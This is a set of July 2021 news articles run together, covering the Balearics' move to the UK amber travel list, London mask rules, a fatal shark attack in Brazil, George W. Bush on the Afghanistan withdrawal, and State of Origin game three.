Infections were already shooting upwards before the archipelago was added to No10's 'green list' on June 30. But case numbers have continued to spiral following the influx on British holidaymakers. A graph shows how the infection rate  the number of cases spotted per every 100,000 people over the course of a week  in the Balearic islands has changed over time

Croatia has been downgraded to the green list. Britain is recording almost 500 Covid cases per million people currently compared to Croatia's 20

Faith Wheeler, 42, from Brighton is going to Ibiza to visit a friend. She booked her flights last week when the country was being battered with rain. Ms Wheeler (left) said: 'If the rules change, I don't care - I'm going anyway. 'I've got all the insurance if it gets cancelled or if I get covid out there and have to stay'. Samuel Helps, 19, and girlfriend Hannah Simons, 19, from Bromley are going to Menorca for a week. The couple (pictured together right) decided to take a chance and booked a last minute package deal. 'We're hoping there won't be any changes,' warehouse manager Samuel said

Alex James, 33, and Verity Blair, 34, from Haslemere in Surrey, with their twins Penelope (left) and Sofia (right)

The Spanish authorities have report a sharp increase in coronavirus cases in the Balearics over recent weeks

British tourists took to Twitter to voice their frustration at the chopping and changing of travel restrictions yesterday

What are the rules for people returning to England from abroad? AMBER LIST Take a Covid-19 test in the three days before you arrive in Britain

Book and pay for day two and day eight Covid-19 tests  to be taken after arrival in England

Quarantine at home or in the place you are staying for 10 days, and complete a passenger locator form

From July 19, if you are vaccinated, you won't need to quarantine in England - but you will need to take a test before arriving back in the country, and then another on day two after your return For arrivals returning from an amber list country, before arriving in England, you must take a private PCR or lateral flow test in the three days before the service on which you will arrive in England departs. For example, if you travel to England on Friday, you can take the test on or after Tuesday and will need to have the negative result available before boarding on Friday. Before you arrive in England, you must also book and pay for day two and day eight Covid-19 tests, to be taken after your arrival in England. But under the Test to Release scheme you can choose to pay for a private Covid-19 test on day five. If the result is negative (and the result of your day two test result was negative or inconclusive), you can end your quarantine. From 4am on July 19, you will not need to quarantine on arrival in England or take a day eight Covid-19 test, as long as you are fully vaccinated. This means that you have had your final dose of an approved vaccine at least 14 days before the date you arrive in England. If you are not fully vaccinated under the UK vaccination programme, you will have to quarantine on arrival and take both the day 2 and day 8 tests. If you arrive in England before 4am on July 19, you must follow the current rules, even if you have been fully vaccinated. RED LIST You can only enter England if you are a British or Irish National, or you have residence rights in the UK

Take a Covid-19 test in the three days before you arrive in Britain

Book a quarantine hotel package, including two Covid-19 tests, and fill out a passenger locator form If you have been in a country or territory on the red list in the last ten days you will only be allowed to enter the UK if you are a British or Irish National, or you have residence rights in the UK. You must also take a Covid-19 test in the three days before you arrive and book into a quarantine hotel. The rate for one adult in one room for ten days (11 nights) is 1,750, while the additional rate for one adult (or child over 11) is 650, and for a child aged 5 to 11 it is 325. While in the quarantine hotel you must also take two Covid-19 tests. GREEN LIST Take a Covid-19 test in the three days before you arrive in Britain

Book and pay for a day two Covid-19 test, which will be taken after your arrival in England

Complete a passenger locator form Before arriving in England, you must take a private PCR or lateral flow test in the three days before the service on which you will arrive in England departs. You cannot take an NHS test abroad with you to use on yourself before you return. If you are returning to the UK within three days, you can use the result of a Covid-19 test that you take in the UK before you travel - but this must be from a private test provider and not the NHS. Advertisement

Originally, there was a suggestion that Britons who could show a positive antibody test - which shows previous infection and implies immunity - would be granted similar freedoms to those who are jabbed.

On her trip to Ibiza, she added: 'Now it will not be possible due my partner not having enough available days to do quarantine because his company forced him to take half of his holidays before 30th of June.'

A family of four who are planning to go to Mallorca next week said they are 'prepared the jump through necessary hoops' after booking a last-minute trip to the island when their break to Portugal was cancelled.

Verity Blair, 34, a sales executive from Haslemere in Surrey, and her partner Alex James, 33, have both had one Covid-19 jab each and are still going to travel to Mallorca on Tuesday even if it goes onto the amber list, and then self-isolate for 10 days once home.

Ms Blair - who has twins Penelope and Sofia with Mr James - works for an American company with no UK office, so it will not have an impact on her job.

She told MailOnline this morning: 'At this stage, we are prepared the jump through necessary hoops to enjoy our first family holiday.

'We booked to go to Portugal a year ago before the girls had even arrived and were so excited about having a holiday with them, not thinking that a whole year on we would need to worry about restrictions.

'However, when it became clear about a week ago that we wouldn't be able to go to Portugal owing to their restrictions, we decided to book a last minute trip to Mallorca.

'We picked Mallorca because it was on the green list, knowing that might change - but even if it changes to amber, we won't mind isolating when we get home.

'As we have become so used to that over the last 16 months, it feels like a small price to pay for a week away in the sunshine.

'Taking a holiday at home just wouldn't be the same, and when we explored holidaying in the UK it was nearly impossible to book something last minute, and what was left would have cost the same as getting abroad.

'Luckily isolating at home won't affect us work wise, as my company recently announced that we will never be required to work from an office again, and so will always enjoy the flexibility of working from home.'

Samuel Helps, 19, and girlfriend Hannah Simons, 19, from Bromley flew to Menorca from Gatwick this morning for a seven-day holiday. They decided to take a chance and booked a last minute package deal. Both are double jabbed and are hopeful this will mean they are not caught out by any rule changes.

'We should be safe while we are out there and we are protected if the rules change, we have all the insurance,' care home worker Ms Bromley said. 'Because it's a package we are pretty well covered if anything does change.'

Faith Wheeler, from Brighton is going to Ibiza to visit a friend. She booked her flights last week when the country was being battered with rain.

The 42-year-old marketing director said: 'I've been double jabbed since April. I'm flying back on Sunday, so hopefully things won't change before then. If the rules change, I don't care - I'm going anyway. I've got all the insurance if it gets cancelled or if I get covid out there and have to stay.'

Mr Shapps showed no sympathy for Britons facing growing uncertainty during a round of interviews this morning. He told BBC Breakfast: 'We review these every three weeks. I hope we have made very clear to everybody when booking trips at the moment there is always the chance that countries will move around.

'Some countries may go to the red list, some countries may go to the green, but some may move the other way to the amber list. It is a fact of life that they will continue to move around as the virus continues to develop and change globally.'

However industry groups criticised the move, with trade association ABTA said: 'The decision to move the Balearic Islands to the amber list is a step back for the travel industry.

'Thousands of travel jobs and businesses are in desperate need of a successful summer season, and this further emphasises the urgent need for tailored financial support for a sector that has struggled to make any meaningful revenue for almost 18 months now.'

Tim Alderslade, head of the umbrella body Airlines UK, said: While the vaccination programme is permitting a full reopening of the domestic economy, international travel between safe countries with low infections and high vaccination rates is still portrayed as a serious danger to public health. Moving countries between tiers is shattering consumer trust.

Grant Shapps has issued a stark warning to holidaymakers amid signs tourist favourites including Ibiza are set to be upgraded to the 'amber list'

Malta in U-turn over ban on Britons jabbed with India batch of AstraZeneca vaccine Malta last night confirmed UK residents given AstraZeneca vaccines made in India would be allowed in after days of confusion. The Mediterranean archipelago had banned travellers inoculated with jabs from the Serum Institute of India. But it U-turned after Transport Secretary Grant Schapps appeared on television and threatened a confrontation with Maltese officials while insisting the jabs were absolutely the same product as those made in the UK. Hours later, Malta issued an update stating it would accept anyone from Britain with a full course of vaccination with 14 days after last dose. Glenda Hardy, 63, and her husband Steve, 64, from Hull, pictured, were among holidaymakers stopped from boarding a flight from Manchester on Friday. The retired couple, whose first jab in March was made in India, are now holidaying instead in Llandudno, north Wales. We were just gutted, Mrs Hardy told the Daily Telegraph. We paid for PCR tests, downloaded the NHS app and printed off the letter  but we fell at the final hurdle. We havent seen our son since he moved there a year ago. We had our flight refunded by Tui but thats by-the-by. More than a dozen countries including France and Italy have refused to recognise the SII jabs, casting doubt on many popular destinations. The vaccines made in India, with the batch numbers 4120Z001, 4120Z002 and 4120Z003, were given to up to five million people in the UK. They were approved by the UK medicines regulator, the MHRA, but not the European Medicines Agency. Advertisement

Meanwhile, Paul Charles, CEO of travel consultancy The PC Agency, criticised the Government's decision making as 'opaque', adding: 'It's a totally unpredictable list of changes which won't help most consumers.

'You have to quarantine on arrival in Hong Kong for 21 days, so rules out travel there for most people. The Balearics were one of the last green options for those not fully-jabbed to be able to get away.'

'Overall, this revision supports the view that decision-making is opaque, complex for consumers to understand and ignores the many countries which should be on a wider green list.'

Francina Armengol, president of the islands, said ministers should look beyond infection rates, adding: We are experiencing a high level of contagion, but many are not having to be admitted to hospital because the most vulnerable are double vaccinated.

The Transport Secretary also said Brits who received doses of AstraZeneca's Covid vaccine made in India should not be prevented from travelling, after a British couple given the jab were turned away from travelling to see their son in Malta.

Steve and Glenda Hardy, who received doses of the vaccine in March, were barred from flying by staff working for travel operator TUI at Manchester Airport on Friday. The retired couple, from Hull, were trying to visit their son, who they have not seen for over a year.

Mr Shapps told BBC Breakfast the Government will take up the issue with authorities in Malta, adding: 'It is not right and it shouldn't be happening.'

Malta last night confirmed UK residents given AstraZeneca vaccines made in India would be allowed in after days of confusion.

The Mediterranean archipelago had banned travellers inoculated with jabs from the Serum Institute of India.

But it U-turned after Transport Secretary Grant Schapps appeared on television and threatened a confrontation with Maltese officials while insisting the jabs were absolutely the same product as those made in the UK.

Hours later, Malta issued an update stating it would accept anyone from Britain with a full course of vaccination with 14 days after last dose.

A decision on putting the Balearic islands back on the amber list could come this afternoon as the government carries out its three-weekly review of the traffic light system.

'It's all still up for discussion, but the figures aren't great which is why it was on the watch list in the first place,' a source told The Sun.

Spanish media report that health officials have advised students living on the mainland to cancel trips to the islands because 'the risk of transmission in the same environment where the cases are occurring is high'.

More than 1,000 infections have been linked to young adults returning from Mallorca, El Pais claims.

NHS England figures show another 124,905 second doses have been dished out, bringing the total number of Brits jabbed to 35.1million, or 66.6 per cent

British Airways asks travellers to drop bags off a day early after staff shortages British Airways is urging travellers to consider dropping off their luggage a day early after staff shortages sparked chaotic scenes at Heathrow. It is sending reminders to customers that Terminal 5 will be busy and they may want to check in their bags the night before they fly. BA also advises that the next day they should arrive several hours before they are due to take off. On Monday travellers described scenes of total chaos as dozens of security staff failed to show for work because they were pinged and told to self-isolate by the NHS app. Only two security lanes were reported to be open at one point to deal with thousands of passengers. Extra staff were eventually drafted in. Images and videos posted on social media showed travellers packed into Terminal 5 with little social distancing as they waited to get through security. Dozens of planes were delayed and some passengers missed their flights. BA is urging travellers due to take off before 1pm to consider dropping off their bags at Terminal 5 between 4pm and 9pm the previous night. The airlines message, being sent by text and email to passengers, advises: You can also check in hand baggage free of charge. Advertisement

The infection rate across the group of islands  how many cases are spotted in a week for every 100,000 residents  has risen fourteen-fold from a low of 20 in mid-June to around 280 on July 13.

Dr Simon Clarke, an infectious disease expert at the University of Reading, told MailOnline that it was too early to blame British holidaymakers for the spike.

He said: 'Not very many people have been going to the Balearics until recently, and certainly there has been upset among people when people from places like Germany have been allowed to go to the Balearics while we haven't.

'Just because the UK and Balearics are going up in terms of case numbers it doesnt mean that they are linked, they might be it is possible, but there is no proof yet that they are linked.'

He added that it was possible the explosion in cases could have been fuelled by visitors from other countries.

Britons aged 12 or over must have either proof of a negative test 48 hours prior to arrival, or proof of being fully vaccinated at least 14 days beforehand.

British tourists took to Twitter to voice their frustration, with Rosie Scott from Brentwood in Essex saying: 'Changing holiday from Crete to Israel to Crete to green list Mallorca... Mallorca now set to go amber. This is utter bulls***.'

Cara Hooton from Bristol tweeted: '@BorisJohnson, pls don't ruin my Ibiza holiday I really need this. Love cara x'

Another potential holidaymaker tweeted: 'Holiday to Turkey cancelled so started looking at Mallorca and now it's looking likely it'll go on the amber list... No holiday this year then.'

And Brandon Hale said: 'Flying to Ibiza tomorrow. All tests are back negative - looks like it will be going back to amber. Are people still going to go? Or cancel? We're still going.'

The UK is battling its own summer spike in cases, with a further 36,660 lab-confirmed Covid-19 cases reported as of 9am on Tuesday.

Government data also recorded a further 50 people had died within 28 days of testing positive for coronavirus as of Tuesday  the highest day-on-day increase since April 9  taking the country's total to 128,481.

People arriving in the UK from a red-list location must spend 11 nights at a quarantine hotel, at a cost of 1,750 for solo travellers.

Family are 'prepared to jump through the necessary hoops' to enjoy a holiday to Mallorca even if it moves to amber list A family of four who are planning to go to Mallorca next week have said they are 'prepared the jump through necessary hoops' after booking a last-minute trip to the island when their break to Portugal was cancelled. Verity Blair, 34, a sales executive from Haslemere in Surrey, and her partner Alex James, 33, have both had one Covid-19 jab each and are still going to travel to Mallorca on Tuesday even if it goes onto the amber list, and then self-isolate for ten days once home. Ms Blair - who had twins Penelope and Sofia with Mr James - works for an American company with no UK office, so it will not have an impact on her job. She told MailOnline this morning: 'At this stage, we are prepared the jump through necessary hoops to enjoy our first family holiday. 'We booked to go to Portugal a year ago before the girls had even arrived and were so excited about having a holiday with them, not thinking that a whole year on we would need to worry about restrictions. 'However, when it became clear about a week ago that we wouldn't be able to go to Portugal owing to their restrictions, we decided to book a last minute trip to Mallorca. 'We picked Mallorca because it was on the green list, knowing that might change - but even if it changes to amber, we won't mind isolating when we get home. 'As we have become so used to that over the last 16 months, it feels like a small price to pay for a week away in the sunshine. 'Taking a holiday at home just wouldn't be the same, and when we explored holidaying in the UK it was nearly impossible to book something last minute, and what was left would have cost the same as getting abroad. 'Luckily isolating at home won't affect us work wise, as my company recently announced that we will never be required to work from an office again, and so will always enjoy the flexibility of working from home.' Advertisement

What restrictions do other countries have on Britons visiting? FRANCE Travellers who can prove they are fully vaccinated do not need an essential reason to travel to France and do not need to self-isolate on arrival. Anyone aged over 11 years must give evidence of a negative PCR test taken within 72 hours of departure, or a negative antigen test result taken within 48 hours of departure, as well as a 'sworn statement' they are not suffering from Covid symptoms and have not been in contact with confirmed cases in the preceding fortnight. SPAIN Britons aged 12 or over must have either proof of a negative test 48 hours prior to arrival, or proof of being fully vaccinated at least 14 days beforehand. ITALY Anyone aged six or over who has been in the UK in the previous 14 days must present a negative test result from the past 48 hours. They must also self-isolate for five days and take another test at the end of the period. Those arriving without a negative test will need to self-isolate for 10 days and then have a test. GREECE Travellers from the UK can avoid quarantine requirements if they have proof of a negative PCR test up to 72 hours before arrival, a rapid antigen test within 48 hours, or that they have received two vaccine jabs at least 14 days earlier. It is also acceptable to show evidence of having recovered from coronavirus - such as a positive test from months earlier. PORTUGAL All travellers, apart from children under 12, must have proof of a negative COVID-19 test to travel to or through mainland Portugal. If you have travelled from the UK to mainland Portugal, you must quarantine for 14 days in the place you are staying. But this requirement is waived if people can show they are fully vaccinated, and children travelling with a vaccinated adult are exempt from quarantine. In Madeira and Porto Santo tests are not required for people who are fully vaccinated. GERMANY Fully vaccinated Britons are exempt from quarantine, but must do a pre-departure digital registration. Unvaccinated children under 12 years of age are allowed to enter Germany if they present proof of a negative test result and travel with at least one fully vaccinated parent. UNITED STATES Since 16 March 2020, it is not possible for most British nationals to enter the US if they have been in the UK, Ireland, Schengen zone, Iran, Brazil, or China within the previous 14 days. Advertisement

Mask chaos as Grant Shapps BACKS London Mayor Sadiq Khan keeping them compulsory on the Tube and buses even though they are NOT required on trains from 'Freedom Day' - amid fears staff face violence from 'confused' passengers

Mask rules descended further into chaos yesterday as Grant Shapps backed London Mayor Sadiq Khan keeping them compulsory on the Tube, buses and taxis - even though they are not required on trains from 'Freedom Day'.

Mr Khan has broken ranks by announcing the move in the capital despite the government binning all legal restrictions across England from Monday.

However, the Transport Secretary played down the tensions this morning saying he had 'expected' operators to put in place 'conditions of carriage' to ensure that passengers were safe on public transport.

The increasingly confused situation means that passengers on trains in and out of London terminals will not need to wear masks during their journeys, but must while travelling around the city.

Unions have warned that the 'botched' approach to setting the rules will leave railway workers facing the threat of violence from angry customers.

London Mayor Sadiq Khan has announced that masks will stay compulsory on the Tube, buses and taxis in the capital - even though they are not required on trains elsewhere from 'Freedom Day'

Mr Khan told BBC Breakfast that around 400 enforcement officers would be deployed to check people are still wearing masks in the capital.

'It's not perfect. [It] would have been better if national rules applied across the country to avoid any confusion,' he said.

'The government for their own reasons have decided not to do that.'

Asked about the lack of restrictions on services from outside the city, Mr Khan said: 'A number of services that come into London are not my responsibility. 'If you are in London, you need to follow the rules.'

The coronavirus restrictions which will be removed from July 19

British couple, 63 and 64, are turned away from flight to Malta despite having TWO jabs after receiving Indian-made version of AstraZeneca vaccine that is still not licensed by EU A British couple have been turned away from travelling to see their son in Malta after they were unknowingly given an Indian-made version of the AstraZeneca vaccine. Steve and Glenda Hardy, who received doses of the vaccine in March, were barred from flying by staff working for travel operator TUI at Manchester Airport on Friday. The retired couple, from Hull, were trying to visit their son, who they have not seen for over a year. The European Medicines Agency does not yet recognise the vaccine which is made at the Serum Institute of India, even though it is just as effective as AstraZeneca doses made elsewhere. As a result, it is not recognised by the EU's Digital Covid Certificate which allows those who are fully vaccinated to move through Europe without having to quarantine or undergo further testing. Some European nations have unilaterally pledged to accept the jab but Malta  one of a handful of countries on the Government's green list of travel destinations  has not agreed to admit visitors who have had it. It comes despite Prime Minister Boris Johnson assuring that it would not be an issue for Britons travelling around the EU. Advertisement

In his own round of interviews this morning, Mr Shapps said: 'Whilst we are going from this being a legal requirement to guidelines, we do expect individual carriers to make sure they are putting in place whatever is appropriate for their network,' he told Sky News.

'The airlines have already said that you will need to carry on wearing masks on those. It is very much in line with what we expected  indeed wanted  to happen.'

He added on Times Radio: 'If you think about it, it makes sense..

'We've moved from the point in the crisis where everything is set in law to a point where we put in place a degree of a personal responsibility and also ask the carriers in this case  the transport carriers  to make clear the conditions of travel on their particular network.'

Masks will also remain compulsory in Scotland and Wales, but transport operators in the rest of the country have indicated they will not insist on passengers wearing them.

The Rail, Maritime and Transport union (RMT) said staff risked becoming 'punchbags' for irate travellers.

RMT general secretary Mick Lynch said: 'We now have the ludicrous position where a passenger travelling through London will have different rules on the tube and the main line services.

'There will also be a change of policy on trains at the Welsh and Scottish borders which is a total nonsense, and will leave staff right at the sharp end and dangerously exposed when it comes to enforcement.

'As a result of this chaotic approach we now have a situation where the London measures are not enforceable by law, which means RMT members will be thrown into a hostile and confrontational situation from next Monday at heightened risk of abuse and assault.'

Mr Khan's move came as ministers clashed with government scientists over the decision to ditch mask laws next week.

Meanwhile, Commons leader Jacob Rees-Mogg added to the mixed messages by saying he would not wear one in Parliament when the requirement is lifted.

Mr Rees-Mogg said that people who have received both jabs of the vaccine have already done their 'societal bit.'

'This morning I wandered around the palace of Westminster wearing a mask, and met almost nobody. In those circumstances I will not be wearing a mask - what would be the point?,' he said while speaking on the Conservative Home Podcast.

'If you've had both vaccines, your risk of transmitting the disease is slight. So in a way you've done your societal bit by having the vaccine, as much as by wearing a mask, which is why I think it's sensibly individual choice.'

His comments come amid mass confusion among businesses about whether or not to enforce their own voluntary mask-wearing policies when restrictions are lifted on July 19.

Bosses last night demanded clarity on whether such policies would be legal.

Some chains have already suggested they may bring in mask-wearing requirements for customers beyond July 19 - with some fearing a 'Freedom Day free-for-all' when the Government lifts Covid restrictions on Monday.
A drunk man died in a horrific shark attack after he waded into the sea to urinate at a Brazilian beach.

Marcelo Rocha Santos, 51, had his hand and a chunk of his leg bitten off by the predator at Piedade Beach in Jaboatao dos Guararapes on Saturday.

After lying motionless on the beach surrounded by shocked bystanders, he was taken to hospital in Recife where he was pronounced dead.

A drunk man has died in a horrific shark attack after he waded into the sea to urinate at a Brazilian beach

The attack took place near an area of the beach where there had been 12 previous shark attacks.

A lifeguard was on duty at the time, but was unable to prevent the attack from taking place.

Mechanic Edriano Gomes told reporters that the victim had been drinking with friends. He entered the water at around 2pm when the weather had gone cloudy and the sea was becoming choppy.

Gomes said: 'It was a friend of mine who was in the sea with the person who was attacked. Suddenly, he saw the man struggling. There was a lot of blood in the water.'

Marcelo Rocha Santos, 51, had his hand and a chunk of his leg bitten off by the predator at Piedade Beach

When the shark attacked, only the victim and the other person who escaped unharmed were in the water at the time.

Fellow swimmer Ademir Sebastiao da Silva, told reporters: 'As the beach has no bathroom, I went into the sea to pee. I was beside him with the water up to our waists.'

Marcelo's friends brought the victim to shore where he fell to the ground unconscious.

It is not known what kind of shark attacked him, though experts say it was likely a bull shark or a tiger shark.

It is not known what kind of shark attacked Santos, though experts say it was likely a bull shark (pictured) or a tiger shark

Shark attacks are also more common at this time of year as the rains make the sea murky.

It is believed that despite the various signs warning people not to enter the water, the lifeguard on duty did not tell the two men to get out of the sea as they were only up to their waists.

In the Brazilian state of Pernambuco, where Jaboatao dos Guararapes is located, there have been 62 shark attacks with 25 fatalities since 1992 when building works at Suape Port disrupted the animals' breeding and hunting habits.
Former US president George W. Bush on Wednesday said the withdrawal of NATO troops from Afghanistan was a 'mistake' and warned civilians were being left to be 'slaughtered' by the 'brutal' Taliban.

He said he thought Afghan women and girls would suffer 'unspeakable harm' as a result of the US withdrawal, adding 'it breaks my heart, in an interview with German broadcaster Deutsche Welle.

The former Republican president, who sent troops to Afghanistan in fall 2001 after the September 11 attacks on New York's World Trade Center, said he believed the consequences of the withdrawal would be 'unbelievably bad'.

President Joe Biden has insisted soldiers will completely pull out of Afghanistan by September 11, despite facing intense criticism over the decision.

Former US president George W. Bush on Wednesday said the withdrawal of NATO troops from Afghanistan was a 'mistake' and warned civilians were being left to be 'slaughtered' by the 'brutal' Taliban in an interview with Deutsche Welle

President George W. Bush announcing that the US and Britain had started bombing Afghanistan, in the Treaty Room of the White House on October 7, 2001

Afghanistan is facing a crisis as the Taliban snap up territory across the countryside, stretching government forces and leading to a fresh wave of internally displaced families

Bush said: 'It's unbelievable how that society changed from the brutality of the Taliban and how all of a sudden, sadly, I'm afraid Afghan women and girls are going to suffer unspeakable harm.'

Pressed on whether the withdrawal was a mistake, he said 'I think it is, yeh, because I think the consequences are going to be unbelievably bad.

'I think about all the interpreters and the people that helped not only US troops, but NATO troops and it seems like they're just going to be left behind to be slaughtered by these very brutal people, and it breaks my heart.

Speaking in the interview primarily about German Chancellor Angela Merkel, who is set to retire from politics later this year after 16 years in power, Bush said he thought she 'feels the same way'.

US and NATO forces began withdrawing from Afghanistan in early May and are due to completely pull out by September 11, some 20 years after they arrived in the war-torn country.

Most of the 2,500 US and 7,500 NATO troops who were in Afghanistan when US President Joe Biden detailed the final withdrawal in April have now departed, leaving Afghan troops to fight an emboldened Taliban seemingly bent on a military victory.

The country is facing a crisis as the insurgents snap up territory across the countryside, stretching government forces and leading to a fresh wave of internally displaced families, complicated by a renewed outbreak of Covid-19.

The Taliban appear to be winning the propaganda war with videos to prove they will welcome surrendering soldiers (pictured, Taliban fighters and villagers on March 2, 2020)

Former President George W. Bush has warned 'Afghan women and girls are going to suffer unspeakable harm' following the withdrawal of US troops

The United Nations said on Sunday the rising conflict is causing 'more suffering' across the violence-wracked country as it called for continuous financial aid.

Biden has insisted, however, that it is time for US involvement in the war to end and for Afghans to chart their own future.

'I will not send another generation of Americans to war in Afghanistan, with no reasonable expectation of achieving a different outcome,' he said on Thursday, defending his decision despite the growing threat of civil war.

It comes after American troops slipped away from Bagram in the dead of night on July 2, effectively ending the combat mission without telling the local Afghan commander.

Since the quiet withdrawal Afghan troops around the country have been filmed laying down their arms to the Taliban and reports suggest they have deserted in vast numbers, with more than 20,000 fleeing across the border into Tajikistan.

The result is a growing sense of doom among Afghans and US allies.

US troops are seen loading a helicopter onto a C-17 Globesmaster at Bagram on June 16 as they prepare to leave the airbase

An Afghan soldier stands guard on a security tower at Bagram airfield after US troops left

An Afghan flag is raised during a handover ceremony from the US Army to the Afghan National Army, at Camp Anthonic, in Helmand province, southern Afghanistan in May 2021

The White House has been under intense pressure to explain its rationale for rushing out of Afghanistan.

Washington agreed to leave as part of a deal with the Taliban made by the Trump administration last year.

Military leaders wanted to leave a larger presence in the country but Biden announced in April that he wanted all US troops out by September 11.

In 30 minutes of comments on Thursday, Biden repeated his justification for the withdrawal - saying the US had met its aims of delivering justice to Osama bin Laden for the 9/11 attacks and making sure Afghanistan did not pose a threat.

'We achieved those objectives, that's why we went,' he said.

'We did not go to Afghanistan to nation build. And it's the right and the responsibility of the Afghan people alone to decide their future and how they want to run their country.'

He also offered more details on plans to move Afghan translators to third countries as they await applications to travel to the US and snapped back at a reporter who asked whether or not he trusted the Taliban.

'It's a silly question,' he said.

'Do I trust the Taliban? No, but I trust the capacity of the Afghan military, who are better trained, better equipped, and more competent in terms of conducting war.'

The White House has been under intense pressure to explain its rationale for rushing out of Afghanistan and President Biden has been peppered with questions about what comes next in the country every time he makes a public appearance

The President has been peppered with questions about what comes next in the country every time he makes a public appearance.

On Thursday, he offered an impassioned defense of his approach, playing down security fears and quietly abandoning the 9/11 target - a date which many analysts suggested could be used for propaganda purposes by the Taliban and other extremists.

A question about whether a Taliban takeover was inevitable received a sharp response.

'No it is not because you have the Afghan troops at 300,000, well equipped - as well as any army in the world - and an air force against something like 75,000 Taliban,' he said.

'It is not inevitable.'

The US President said there will be a phased drawdown on troops until his apparently uni-lateral September 11 deadline

US soldiers arrives at the site of a car bomb attack that targeted a NATO coalition convoy in Kabul on September 24, 2017 - US war in Afghanistan killed more than 2,200 U.S. troops, wounded 20,000

In this file photo a US soldier investigates the scene of a suicide attack at the Afghan-Pakistan border crossing in Torkham, Nangarhar province on June 19, 2014

Republicans have also slammed Biden's plan as essentially surrendering the region to al Qaeda amid the on-going war on terrorism.

And the White House has faced criticism from within its own ranks.

CIA Director William Burns said in April that Washington's ability to collect intelligence and act on threats will diminish when US troops leave Afghanistan.

'When the time comes for the US military to withdraw, the US government's ability to collect and act on threats will diminish. That's simply a fact,' he told the Senate Intelligence Committee, adding that the United States would however retain 'a suite of capabilities.'

In April, Biden defended the withdrawal, saying: 'I am now the fourth American president to preside over an American troop presence in Afghanistan. Two Republicans. Two Democrats. I will not pass this responsibility to a fifth.

'It is time to end America's longest war. It is time for American troops to come home.'
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Queensland have won game three of the 2021 State of Origin series 20-18, saving the Maroons from an embarrassing 3-0 whitewash to restore some pride in the rugby league-mad state.

It was an ominous start for the home side with tens of thousands of Queenslanders booed by their own fans as they took the field to warm up.

The moment was described online as an 'all-time low point' for the Maroons, but the jeers appeared to lift the embattled Queensland side.

Ben Hunt of the Maroons celebrates with team mates after scoring his second try during game three of the 2021 State of Origin Series

Tom Trbojevic of the Blues, who was named player of the series makes a break during game three of the 2021 State of Origin

Kalyn Ponga of the Maroons reacts in delight during Game three of the 2021 State of Origin series after Queensland edge out the Blues

Wednesday's contest went ahead at CBUS Stadium on the Gold Coast with a capacity crowd of 27,000 spectators after the event was moved first from Sydney and then from Newcastle, following a surge in Covid cases in the Greater Sydney area.

Queensland were determined to restore some pride in their state after being thumped by the Cockroaches in the first two games by a cumulative score of 76-6 - the largest margin in Origin history.

The devastating losses were compounded even more for the Maroons with the first two games both also played in Queensland for the first time ever, after game one scheduled for Melbourne was shifted to Townsville following a separate Covid outbreak in Victoria.

Tonight's clash is got underway with over five million people in the Greater Sydney area still under strict lockdown.

The Blues opened the scoring in the 10th through centre Latrell Mitchell but debutant Queensland centre Hamiso Tabuai-Fidow fired back with a try of his own in the 17th minute.

Blues' five-eighth Jack Wighton then crossed in the 47th minute of the see-sawing contest, before Maroons hooker Ben Hunt barged his way over twice in the 56th and 63rd minutes.

With Queensland appearing to have the ascendency in the grueling contest, Penrith Panthers debutant Apisai Koroisau scored from a kick in the 68th minute and the Blues tried desperately to close the two point gap.

But the Maroons hung on to claim a gruelling victory to the delight of Queenslanders who have not had much to cheer for this series.

Tens of thousands of Maroons supporters have descended on the Gold Coast ahead of game three of the 2021 State of Origin series, as five million Sydneysiders remain under lockdown. Pictured: CBUS Stadium

Tens of thousands of Queenslanders booed the Maroons at CBUS stadium (pictured) as they took the field to warm up, in what's been described as an 'all-time low point' for the rugby league-mad state

Valentine Holmes of the Maroons is taken from the field during Game three of the 2021 State of Origin series with a shoulder injury

The Cane Toads came into the clash on the back of a horror week of preparation which saw Maroons enforcer Jai Arrow banned from the match after breaching biosecurity protocols by sneaking a woman into the team's player bubble.

The Blues were also facing their own challenges with Panthers superstar halves combination Nathan Cleary and Jarome Luai both ruled out with injury.

Taking their place will be Parramatta Eels Halfback Mitchell Moses who is made his State of Origin debut, and hard-running Canberra Raiders five-eighth Jack Wighton.

Despite calls the match should be played without spectators given the worrying outbreak of the Indian Delta variant devastating Sydney, Queensland Premier Annastacia Palaszczuk assured fans the event would be safe.

'Queenslanders have worked hard to keep our state safe from the virus, which puts us in prime position to secure more job-creating major events as part of our COVID-19 Economic Recovery Plan,' she wrote on Twitter.

'Around 1,000 staff will be employed at the match, including around 700 hospitality workers who are expected will sell roughly 4,000 pies, 12,000 chips and 14,000 litres of beer.'

New South Wales players run through a banner ahead of game three of the 2021 State of Origin series

A posse of Blues supporters cheer on New South Wales for game three of the 2021 State of Origin at CBUS Stadium on the Gold Coast

A NSW fan is seen during Game 3 of the 2021 State of Origin series between the NSW Blues and the Queensland Maroons at Cbus Super Stadium on the Gold Coast, Wednesday, July 14, 2021

Tonight's match was originally scheduled to go ahead in Sydney but after spiraling Covid cases the NRL opted to move the contest to Newcastle.

But as case number continued to dramatically rise, organisers had no choice but to once again move the event back to the Sunshine State for a third time.

The Greater Sydney area has seen 864 Covid cases in the past month with 97 new infection announced on Wednesday before tonight's clash.

One person affected more than most by the constant shifting of venues was Hunter Valley woman Amanda Barrass who achieved a lifelong dream by singing the national anthem ahead of tonight's game.

Amanda Barrass (pictured), who is battling state four cancer, achieved a lifelong dream by singing the national anthem ahead of tonight's game

Wednesday's match is going ahead at CBUS Stadium on the Gold Coast with a capacity crowd of 27,000 spectators. Pictured: Queensland player link arms for the national anthem

Fans look on as the national anthem is sung during game three of the 2021 State of Origin Series between the New South Wales Blues and the Queensland Maroons at Cbus Super Stadium on July 14, 2021 in Gold Coast, Australia

The clash is going ahead with over five million people in the Greater Sydney area still under strict lockdown. Pictured: Fans are seen at CBUS Stadium during game three of State of Origin

When the 37-year-old mother-of-two, who is battling stage four cancer, found out game three was set to be played in Newcastle she took to social media declaring she wanted to belt out Advance Australia Fair before the match.

It took just 24 hours for organisers at the NRL to agree.

But after the decision to move the match game, Mrs Barrass feared her dream might be over.

But after pulling some strings the NRL and Queensland government allowed her and her family to cross the border and sign the anthem on the Gold Coast.

Latrell Mitchell of the Blues launches into the air as he scores a try during game three of the 2021 State of Origin Series

The Blues celebrate after Latrell Mitchell crossed the try line in just the 10th minutes of the match

Josh Addo-Carr of the Blues is attended to by a trainer after a tackle during game three of the 2021 State of Origin Series

Mrs Barrass was diagnosed with breast cancer in 2016 and then discovered the cancer had metastasised and spread to her bones two years later.

As part of treatment she had part of her spine removed after the cancer had eaten through her C7 vertebrae.

She told the Cessnock Advertiser she wants to create special memories for her two children.

